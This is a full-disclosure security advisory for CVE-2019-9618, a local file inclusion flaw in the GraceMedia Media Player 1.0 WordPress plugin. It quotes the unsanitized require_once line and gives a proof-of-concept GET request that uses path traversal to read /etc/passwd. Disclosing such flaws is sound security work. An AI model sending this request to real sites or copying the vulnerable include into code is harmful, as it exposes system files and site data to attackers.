============================================= MGC ALERT 2019-001 - Original release date: February 06, 2019 - Last revised: March 13, 2019 - Discovered by: Manuel GarcAa CA!rdenas - Severity: 7/10 (CVSS Base Score) - CVE-ID: CVE-2019-9618 ============================================= I. VULNERABILITY ------------------------- WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion II. BACKGROUND ------------------------- Hassle-free and user-friendly way to add a Media player directly to your website. III. DESCRIPTION ------------------------- This bug was found in the file: /gracemedia-media-player/templates/files/ajax_controller.php Vulnerable code: require_once($_GET['cfg']); The parameter "cfg" it is not sanitized allowing include local files To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. IV. PROOF OF CONCEPT ------------------------- The following URL have been confirmed that is vulnerable to local file inclusion. Local File Inclusion POC: GET /wordpress/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd V. BUSINESS IMPACT ------------------------- Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible. VI. SYSTEMS AFFECTED ------------------------- GraceMedia Media Player <= 1.0 VII. SOLUTION ------------------------- Disable plugin until a fix is available, vendor does not fix after 2 requests. VIII. REFERENCES ------------------------- https://es.wordpress.org/plugins/gracemedia-media-player/ IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- February 06, 2019 1: Initial release March 13, 2019 2: Revision to send to lists XI. DISCLOSURE TIMELINE ------------------------- February 06, 2019 1: Vulnerability acquired by Manuel Garcia Cardenas February 06, 2019 2: Email to vendor without response February 21, 2019 3: Second email to vendor without response March 13, 2019 4: Send to the Full-Disclosure lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester